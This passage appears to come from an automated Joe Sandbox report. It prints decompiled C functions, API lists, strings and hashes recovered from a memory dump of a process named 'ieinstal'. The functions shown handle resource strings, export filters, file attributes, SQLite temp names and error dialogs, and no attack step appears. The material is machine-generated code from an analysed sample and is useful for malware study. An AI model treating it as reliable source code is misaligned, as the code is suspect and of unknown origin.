				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				char _v84;
				void _v2130;
				signed short _v2132;
				void* __ebx;
				void* __edi;
				char _t34;
				intOrPtr _t35;
				signed short _t61;

				_v2132 = _v2132 & 0x00000000;
				memset( &_v2130, 0, 0x7fe);
				_t34 =  *0x453be0; // 0x780074
				_v12 = _t34;
				_t35 =  *0x453be4; // 0x74
				_v8 = _t35;
				_v84 = E0040D134(0x1f5);
				_v80 = 0x453be8;
				_v76 = E0040D134(0x1f6);
				_v72 = 0x453be8;
				_v68 = E0040D134(0x1f7);
				_v64 = 0x453be8;
				_v60 = E0040D134(0x1fb);
				_v56 = 0x453bf4;
				_v52 = E0040D134(0x1f8);
				_v48 = 0x453c00;
				_v44 = E0040D134(0x1f9);
				_v40 = 0x453c00;
				_v36 = E0040D134(0x1fa);
				_v32 = 0x453c1c;
				_v28 = E0040D134(0x1fc);
				_v24 = 0x453bf4;
				_v20 = E0040D134(0x1fd);
				_v16 = 0x453bf4;
				E0040A45A( &_v2132,  &_v84, 9);
				_t61 = 7;
				return E0040A279(_a12,  *((intOrPtr*)(_a4 + 0x208)), _a8,  &_v2132, E0040D134(_t61),  &_v12);
			}






























                                                                                                                            0x004116e6
                                                                                                                            0x004116ff
                                                                                                                            0x00411704
                                                                                                                            0x00411709
                                                                                                                            0x0041170c
                                                                                                                            0x00411719
                                                                                                                            0x00411727
                                                                                                                            0x0041172a
                                                                                                                            0x00411737
                                                                                                                            0x0041173a
                                                                                                                            0x00411745
                                                                                                                            0x00411748
                                                                                                                            0x0041175a
                                                                                                                            0x0041175d
                                                                                                                            0x0041176b
                                                                                                                            0x0041176e
                                                                                                                            0x0041177b
                                                                                                                            0x0041177e
                                                                                                                            0x00411789
                                                                                                                            0x0041178c
                                                                                                                            0x0041179d
                                                                                                                            0x004117a0
                                                                                                                            0x004117a8
                                                                                                                            0x004117b7
                                                                                                                            0x004117ba
                                                                                                                            0x004117c3
                                                                                                                            0x004117f0

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004116FF
                                                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                              • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                              • Part of subcall function 0040D134: memcpy.MSVCRT ref: 0040D24C
                                                                                                                              • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                              • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                              • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                                                                                                                              • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                                                                                                                              • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                                                                                                                              • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4D2
                                                                                                                              • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                                                                                                                              • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4F3
                                                                                                                              • Part of subcall function 0040A279: wcscpy.MSVCRT ref: 0040A2DF
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                                                                                                                            • String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
                                                                                                                            • API String ID: 2618321458-3614832568
                                                                                                                            • Opcode ID: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                                                                                                                            • Instruction ID: 2af34abd3473d77be096866f654b5876edf67c2d942e61680e34910f62553c8c
                                                                                                                            • Opcode Fuzzy Hash: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                                                                                                                            • Instruction Fuzzy Hash: 71310DB1D013589BDB10EFA9DC816DDBBB4FB08345F10407BE548BB282DB385A468F99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004185CA Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 66%
                                                                                                                            			E004185CA(void* __eflags, intOrPtr _a8, signed int _a12, signed int* _a16) {
				signed int _v8;
				signed int _v12;
				void _v40;
				void* __ebx;
				void* __ebp;
				signed int _t13;
				signed int _t16;
				void* _t18;
				signed int _t19;
				int _t24;
				long _t25;
				void* _t26;
				signed int _t27;
				WCHAR* _t32;
				signed int _t33;
				signed int _t34;
				void* _t38;

				_t27 = 0;
				_t32 = E00418160(0, _t38, __eflags, _a8);
				if(_t32 != 0) {
					_push(_t33);
					_t13 = E0041739B();
					__eflags = _t13;
					if(_t13 == 0) {
						_t34 = GetFileAttributesA(_t32);
						L12:
						0x4466a0(_t32);
						_t16 = _a12 - _t27;
						__eflags = _t16;
						if(_t16 == 0) {
							L15:
							__eflags = _t34 - 0xffffffff;
							_t10 = _t34 != 0xffffffff;
							__eflags = _t10;
							_t27 = 0 | _t10;
							L16:
							 *_a16 = _t27;
							_t18 = 0;
							__eflags = 0;
							L17:
							return _t18;
						}
						_t19 = _t16 - 1;
						__eflags = _t19;
						if(_t19 == 0) {
							_t27 =  !_t34 & 0x00000001;
							goto L16;
						}
						__eflags = _t19 != 1;
						if(_t19 != 1) {
							goto L16;
						}
						goto L15;
					}
					memset( &_v40, 0, 0x24);
					_t24 = GetFileAttributesExW(_t32, 0,  &_v40);
					__eflags = _t24;
					if(_t24 == 0) {
						_t25 = GetLastError();
						__eflags = _t25 - 2;
						if(_t25 == 2) {
							L10:
							_t34 = _t33 | 0xffffffff;
							goto L12;
						}
						0x4466a0(_t32);
						_t18 = 0xd0a;
						goto L17;
					}
					__eflags = _a12;
					if(_a12 != 0) {
						L7:
						_t34 = _v40;
						goto L12;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						goto L7;
					}
					__eflags = _v8;
					if(_v8 == 0) {
						goto L10;
					}
					goto L7;
				}
				_t26 = 7;
				return _t26;
			}




















                                                                                                                            0x004185d5
                                                                                                                            0x004185dc
                                                                                                                            0x004185e1
                                                                                                                            0x004185eb
                                                                                                                            0x004185ec
                                                                                                                            0x004185f1
                                                                                                                            0x004185f3
                                                                                                                            0x0041864d
                                                                                                                            0x0041864f
                                                                                                                            0x00418650
                                                                                                                            0x00418658
                                                                                                                            0x00418658
                                                                                                                            0x0041865b
                                                                                                                            0x00418663
                                                                                                                            0x00418665
                                                                                                                            0x00418668
                                                                                                                            0x00418668
                                                                                                                            0x00418668
                                                                                                                            0x0041866b
                                                                                                                            0x0041866e
                                                                                                                            0x00418670
                                                                                                                            0x00418670
                                                                                                                            0x00418672
                                                                                                                            0x00000000
                                                                                                                            0x00418672
                                                                                                                            0x0041865d
                                                                                                                            0x0041865d
                                                                                                                            0x0041865e
                                                                                                                            0x0041867c
                                                                                                                            0x00000000
                                                                                                                            0x0041867c
                                                                                                                            0x00418660
                                                                                                                            0x00418661
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00418661
                                                                                                                            0x004185fc
                                                                                                                            0x0041860a
                                                                                                                            0x00418610
                                                                                                                            0x00418612
                                                                                                                            0x00418628
                                                                                                                            0x0041862e
                                                                                                                            0x00418631
                                                                                                                            0x00418641
                                                                                                                            0x00418641
                                                                                                                            0x00000000
                                                                                                                            0x00418641
                                                                                                                            0x00418634
                                                                                                                            0x0041863a
                                                                                                                            0x00000000
                                                                                                                            0x0041863a
                                                                                                                            0x00418614
                                                                                                                            0x00418617
                                                                                                                            0x00418623
                                                                                                                            0x00418623
                                                                                                                            0x00000000
                                                                                                                            0x00418623
                                                                                                                            0x00418619
                                                                                                                            0x0041861c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041861e
                                                                                                                            0x00418621
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00418621
                                                                                                                            0x004185e5
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004185FC
                                                                                                                            • GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 0041860A
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00418650
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@AttributesFilememset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 776155459-0
                                                                                                                            • Opcode ID: 7a9323aad94e24d1be4080513bc7e6f3ed6a266ca59275ba5ce2a6d3a44692dd
                                                                                                                            • Instruction ID: e31a4ad29e7632976921f0390f19c15604a95804a640e9d04457ce0419b5f72c
                                                                                                                            • Opcode Fuzzy Hash: 7a9323aad94e24d1be4080513bc7e6f3ed6a266ca59275ba5ce2a6d3a44692dd
                                                                                                                            • Instruction Fuzzy Hash: 1211E632A04115EFDB209FA49DC59FF73A8EB45318B21013FF911E2280DF789D8196AE
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004174F5 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 57%
                                                                                                                            			E004174F5(char* _a4) {
				short* _v8;
				signed int _t7;
				short* _t11;
				void* _t12;
				void* _t14;
				int _t25;
				int _t31;
				short* _t33;

				_t7 = AreFileApisANSI();
				asm("sbb esi, esi");
				_t31 =  ~_t7 + 1;
				_t25 = MultiByteToWideChar(_t31, 0, _a4, 0xffffffff, 0, 0) + _t9;
				_t11 = malloc(_t25 + _t25);
				_v8 = _t11;
				if(_t11 == 0) {
					L5:
					_t12 = 0;
				} else {
					if(MultiByteToWideChar(_t31, 0, _a4, 0xffffffff, _t11, _t25) != 0) {
						_t33 = _v8;
					} else {
						0x4466a0(_v8);
						_t33 = 0;
					}
					if(_t33 != 0) {
						_t14 = E00417434(_t33);
						0x4466a0(_t33);
						_t12 = _t14;
					} else {
						goto L5;
					}
				}
				return _t12;
			}











                                                                                                                            0x004174fc
                                                                                                                            0x0041750c
                                                                                                                            0x00417517
                                                                                                                            0x0041751e
                                                                                                                            0x00417524
                                                                                                                            0x0041752c
                                                                                                                            0x0041752f
                                                                                                                            0x00417555
                                                                                                                            0x00417555
                                                                                                                            0x00417531
                                                                                                                            0x0041753f
                                                                                                                            0x0041754e
                                                                                                                            0x00417541
                                                                                                                            0x00417544
                                                                                                                            0x0041754a
                                                                                                                            0x0041754a
                                                                                                                            0x00417553
                                                                                                                            0x0041755a
                                                                                                                            0x00417562
                                                                                                                            0x00417569
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00417553
                                                                                                                            0x0041756f

                                                                                                                            APIs
                                                                                                                            • AreFileApisANSI.KERNEL32 ref: 004174FC
                                                                                                                            • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041751A
                                                                                                                            • malloc.MSVCRT ref: 00417524
                                                                                                                            • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041753B
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00417544
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00417562
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@ByteCharMultiWide$ApisFilemalloc
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2308052813-0
                                                                                                                            • Opcode ID: 726b282c5ce891bd13be6d49280dde48b664c9abca31c80fca4e8053420f6cc1
                                                                                                                            • Instruction ID: 8d188238c5fd2fb6163cec5331830b967abe0ebba74b79ef9884251e0929a2bc
                                                                                                                            • Opcode Fuzzy Hash: 726b282c5ce891bd13be6d49280dde48b664c9abca31c80fca4e8053420f6cc1
                                                                                                                            • Instruction Fuzzy Hash: 9701D4726081257BEB215B7A9C41DEF3AAEDF463B47210226FC14E3280EA38DD4141BD
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00418197 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 88%
                                                                                                                            			E00418197(void* __edi) {
				char _v268;
				char _v532;
				short _v788;
				void* __esi;
				void* _t29;
				void* _t31;
				void* _t34;
				void* _t43;
				void* _t50;
				signed int _t51;
				char* _t57;
				signed char _t60;
				void* _t61;
				void* _t71;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t77;

				_t71 = __edi;
				_t24 =  *0x45dbcc;
				_t77 = _t76 - 0x310;
				_push(0xe6);
				if( *0x45dbcc == 0) {
					if(E0041739B() == 0) {
						GetTempPathA(0xe6,  &_v532);
						_t29 = E004174F5( &_v532);
					} else {
						GetTempPathW(0xe6,  &_v788);
						_t29 = E00417434( &_v788);
					}
					_t50 = _t29;
					if(_t50 != 0) {
						E004166B6( &_v268, 0xe6, 0xe6, 0x454cc0, _t50);
						0x4466a0(_t50);
						_t77 = _t77 + 0xc;
						goto L9;
					} else {
						_t43 = 7;
					}
				} else {
					E004166B6( &_v268, 0xe6, 0xe6, 0x454cc0, _t24);
					L9:
					_t31 = E0041691B(0x454cc4);
					if(_t31 + E0041691B( &_v268) + 0x11 < 0x105) {
						_t57 =  &_v268;
						_t34 = E0041691B(_t57);
						if(_t34 > 0) {
							_t61 = _t57 - 1;
							while( *((char*)(_t61 + _t34)) == 0x5c) {
								_t34 = _t34 - 1;
								if(_t34 != 0) {
									continue;
								}
								goto L15;
							}
						}
						L15:
						 *((char*)(_t75 + _t34 - 0x108)) = 0;
						E004166B6(_t71, 0xf4, 0xe6, "%s\etilqs_",  &_v268);
						_t73 = E0041691B(_t71);
						E00416859(_t73 + _t71, 0xf);
						_t60 = 0xf;
						do {
							_t51 = 0x3e;
							 *(_t73 + _t71) =  *((intOrPtr*)(( *(_t73 + _t71) & 0x000000ff) % _t51 + 0x459154));
							_t73 = _t73 + 1;
							_t60 = _t60 - 1;
						} while (_t60 != 0);
						 *(_t73 + _t71) = _t60;
						_t43 = 0;
					} else {
						_t43 = 1;
					}
				}
				return _t43;
			}





















                                                                                                                            0x00418197
                                                                                                                            0x0041819a
                                                                                                                            0x0041819f
                                                                                                                            0x004181a8
                                                                                                                            0x004181a9
                                                                                                                            0x004181d1
                                                                                                                            0x00418203
                                                                                                                            0x00418210
                                                                                                                            0x004181d3
                                                                                                                            0x004181db
                                                                                                                            0x004181e8
                                                                                                                            0x004181e8
                                                                                                                            0x004181ed
                                                                                                                            0x004181f2
                                                                                                                            0x00418225
                                                                                                                            0x0041822b
                                                                                                                            0x00418230
                                                                                                                            0x00000000
                                                                                                                            0x004181f4
                                                                                                                            0x004181f6
                                                                                                                            0x004181f6
                                                                                                                            0x004181ab
                                                                                                                            0x004181bc
                                                                                                                            0x00418233
                                                                                                                            0x00418238
                                                                                                                            0x00418253
                                                                                                                            0x0041825a
                                                                                                                            0x00418260
                                                                                                                            0x00418267
                                                                                                                            0x00418269
                                                                                                                            0x0041826a
                                                                                                                            0x00418270
                                                                                                                            0x00418271
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00418271
                                                                                                                            0x0041826a
                                                                                                                            0x00418273
                                                                                                                            0x00418273
                                                                                                                            0x0041828e
                                                                                                                            0x0041829a
                                                                                                                            0x004182a1
                                                                                                                            0x004182ab
                                                                                                                            0x004182ac
                                                                                                                            0x004182b4
                                                                                                                            0x004182bd
                                                                                                                            0x004182c0
                                                                                                                            0x004182c1
                                                                                                                            0x004182c1
                                                                                                                            0x004182c4
                                                                                                                            0x004182c7
                                                                                                                            0x00418255
                                                                                                                            0x00418257
                                                                                                                            0x00418257
                                                                                                                            0x00418253
                                                                                                                            0x004181fa

                                                                                                                            APIs
                                                                                                                            • GetTempPathW.KERNEL32(000000E6,?,?,00417D63), ref: 004181DB
                                                                                                                            • GetTempPathA.KERNEL32(000000E6,?,?,00417D63), ref: 00418203
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0041822B
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PathTemp$??3@
                                                                                                                            • String ID: %s\etilqs_$etilqs_
                                                                                                                            • API String ID: 1589464350-1420421710
                                                                                                                            • Opcode ID: e349944c00f8d49a0493748d5881d0d50fc5388be029f354eaf4c315693a2c66
                                                                                                                            • Instruction ID: b359b55a6514fc6c55a0405950767d5f88b37029f74eadb26d8a0dc7501745d5
                                                                                                                            • Opcode Fuzzy Hash: e349944c00f8d49a0493748d5881d0d50fc5388be029f354eaf4c315693a2c66
                                                                                                                            • Instruction Fuzzy Hash: 43313931A046169BE725A3669C41BFB735C9B64308F2004AFE881C2283EF7CDEC54A5D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040FD9E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E0040FD9E(void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void _v514;
				signed short _v516;
				signed short* _t34;
				signed int _t37;
				void* _t40;
				signed short* _t44;
				void* _t46;

				_t40 = __edi;
				E0040F728(__edi, _a4, "<item>");
				_t37 = 0;
				if( *((intOrPtr*)(__edi + 0x28)) > 0) {
					do {
						_v516 = _v516 & 0x00000000;
						memset( &_v514, 0, 0x1fc);
						E00414E7F( *((intOrPtr*)( *_a8))( *( *((intOrPtr*)(__edi + 0x2c)) + _t37 * 4),  *((intOrPtr*)(__edi + 0x5c))),  *((intOrPtr*)(__edi + 0x60)));
						_t44 =  &_v516;
						E0040F5BE(_t44,  *((intOrPtr*)( *( *((intOrPtr*)(__edi + 0x2c)) + _t37 * 4) * 0x14 +  *((intOrPtr*)(__edi + 0x3c)) + 0x10)));
						_t34 = _t44;
						0x4465cc( *((intOrPtr*)(__edi + 0x64)), 0x2000, "<%s>%s</%s>", _t34,  *((intOrPtr*)(__edi + 0x60)), _t34);
						_t46 = _t46 + 0x24;
						E0040F728(__edi, _a4,  *((intOrPtr*)(__edi + 0x64)));
						_t37 = _t37 + 1;
					} while (_t37 <  *((intOrPtr*)(__edi + 0x28)));
				}
				return E0040F728(_t40, _a4, "</item>");
			}










                                                                                                                            0x0040fd9e
                                                                                                                            0x0040fdb2
                                                                                                                            0x0040fdb7
                                                                                                                            0x0040fdbc
                                                                                                                            0x0040fdbf
                                                                                                                            0x0040fdbf
                                                                                                                            0x0040fdd5
                                                                                                                            0x0040fdf1
                                                                                                                            0x0040fe00
                                                                                                                            0x0040fe06
                                                                                                                            0x0040fe0b
                                                                                                                            0x0040fe1f
                                                                                                                            0x0040fe24
                                                                                                                            0x0040fe2f
                                                                                                                            0x0040fe34
                                                                                                                            0x0040fe35
                                                                                                                            0x0040fe3a
                                                                                                                            0x0040fe4c

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040FDD5
                                                                                                                              • Part of subcall function 00414E7F: memcpy.MSVCRT ref: 00414EFC
                                                                                                                              • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                                                                                                                              • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                                                                                                                            • _snwprintf.MSVCRT ref: 0040FE1F
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _snwprintf_wcslwrmemcpymemsetwcscpy
                                                                                                                            • String ID: <%s>%s</%s>$</item>$<item>
                                                                                                                            • API String ID: 1775345501-2769808009
                                                                                                                            • Opcode ID: 3766bef419d6113f501c5e442c1acc564cf9e92440af78075bbd4ce4ba4e02a5
                                                                                                                            • Instruction ID: 102da8641e186e10bf8cf1b41b05db2e7c44eca872c9cddb12e5aab4d34b3b7e
                                                                                                                            • Opcode Fuzzy Hash: 3766bef419d6113f501c5e442c1acc564cf9e92440af78075bbd4ce4ba4e02a5
                                                                                                                            • Instruction Fuzzy Hash: 3111C131600219BBDB21AF65CC86E99BB65FF04348F00007AFD05676A2C779E968CBC9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414770 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00414770(void* __eax, intOrPtr __edi, wchar_t* _a4, intOrPtr _a8) {
				intOrPtr _t22;
				void* _t23;

				_t22 = __edi;
				_t23 = __eax;
				 *((intOrPtr*)(__eax + 4)) = __edi;
				wcscpy(__eax + 8, _a4);
				if(_a8 != 0) {
					E0041475C(_t23, _a8);
				} else {
					wcscpy(_t23 + 0x212, "General");
				}
				if(_t22 != 0) {
					CloseHandle(CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0));
				}
				return 1;
			}





                                                                                                                            0x00414770
                                                                                                                            0x00414776
                                                                                                                            0x0041477c
                                                                                                                            0x0041477f
                                                                                                                            0x0041478c
                                                                                                                            0x004147a9
                                                                                                                            0x0041478e
                                                                                                                            0x0041479a
                                                                                                                            0x004147a0
                                                                                                                            0x004147b0
                                                                                                                            0x004147c8
                                                                                                                            0x004147c8
                                                                                                                            0x004147d3

                                                                                                                            APIs
                                                                                                                            • wcscpy.MSVCRT ref: 0041477F
                                                                                                                            • wcscpy.MSVCRT ref: 0041479A
                                                                                                                            • CreateFileW.KERNEL32(00000002,40000000,00000000,00000000,00000002,00000000,00000000,?,00000000,?,00411B67,?,General), ref: 004147C1
                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 004147C8
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcscpy$CloseCreateFileHandle
                                                                                                                            • String ID: General
                                                                                                                            • API String ID: 999786162-26480598
                                                                                                                            • Opcode ID: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                                                                                                                            • Instruction ID: 029e45c8424a23c50dbc4d8c1dfe1f9d14d00e2cf8bd1bf10ef2c4f99c7741b7
                                                                                                                            • Opcode Fuzzy Hash: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                                                                                                                            • Instruction Fuzzy Hash: 52F024B30083146FF7205B509C85EAF769CEB86369F25482FF05592092C7398C448669
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040973C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 50%
                                                                                                                            			E0040973C(long __ecx, struct HWND__* _a4) {
				char _v2052;
				short _v4100;
				void* __edi;
				long _t16;

				0x44db70();
				_t16 = __ecx;
				if(__ecx == 0) {
					_t16 = GetLastError();
				}
				E0040A661(_t16,  &_v2052);
				0x4465cc( &_v4100, 0x400, "Error %d: %s", _t16,  &_v2052);
				return MessageBoxW(_a4,  &_v4100, "Error", 0x30);
			}







                                                                                                                            0x00409744
                                                                                                                            0x0040974a
                                                                                                                            0x0040974e
                                                                                                                            0x00409756
                                                                                                                            0x00409756
                                                                                                                            0x0040975f
                                                                                                                            0x0040977d
                                                                                                                            0x0040979e

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ErrorLastMessage_snwprintf
                                                                                                                            • String ID: Error$Error %d: %s
                                                                                                                            • API String ID: 313946961-1552265934
                                                                                                                            • Opcode ID: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                                                                                                                            • Instruction ID: 46023337ddced075b6ccb796d059e6b1f6412beb8ed51135551ede388a9512b7
                                                                                                                            • Opcode Fuzzy Hash: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                                                                                                                            • Instruction Fuzzy Hash: C1F0A7765402086BDB11A795DC06FDA73BCFB45785F0404ABB544A3181DAB4EA484A59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00435A61 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 394COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: foreign key constraint failed$new$oid$old
                                                                                                                            • API String ID: 0-1953309616
                                                                                                                            • Opcode ID: 069b176ce5c0b1780be5899369789ed0400efb36521cc305734fd4b3024b452b
                                                                                                                            • Instruction ID: 109d2bbf80905f1e2503505ff3b1f335ff26ebd6ff49ac5ca42eb4ed0232da3f
                                                                                                                            • Opcode Fuzzy Hash: 069b176ce5c0b1780be5899369789ed0400efb36521cc305734fd4b3024b452b
                                                                                                                            • Instruction Fuzzy Hash: 71E19271E00318EFDF14DFA5D882AAEBBB5EF08304F54406EE805AB351DB799A01CB65
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00431671 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 231COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 004316F5
                                                                                                                            • unknown column "%s" in foreign key definition, xrefs: 00431858
                                                                                                                            • foreign key on %s should reference only one column of table %T, xrefs: 004316CD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy
                                                                                                                            • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                                                                                                                            • API String ID: 3510742995-272990098
                                                                                                                            • Opcode ID: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                                                                                                                            • Instruction ID: d29657cdd308451ad819b70b0710bc7d1770ace047979dc07f2e4ef1020519d4
                                                                                                                            • Opcode Fuzzy Hash: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                                                                                                                            • Instruction Fuzzy Hash: B7913E75A00205DFCB14DF99C481AAEBBF1FF49314F25815AE805AB312DB35E941CF99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0044A6E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 84COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpymemset
                                                                                                                            • String ID: gj
                                                                                                                            • API String ID: 1297977491-4203073231
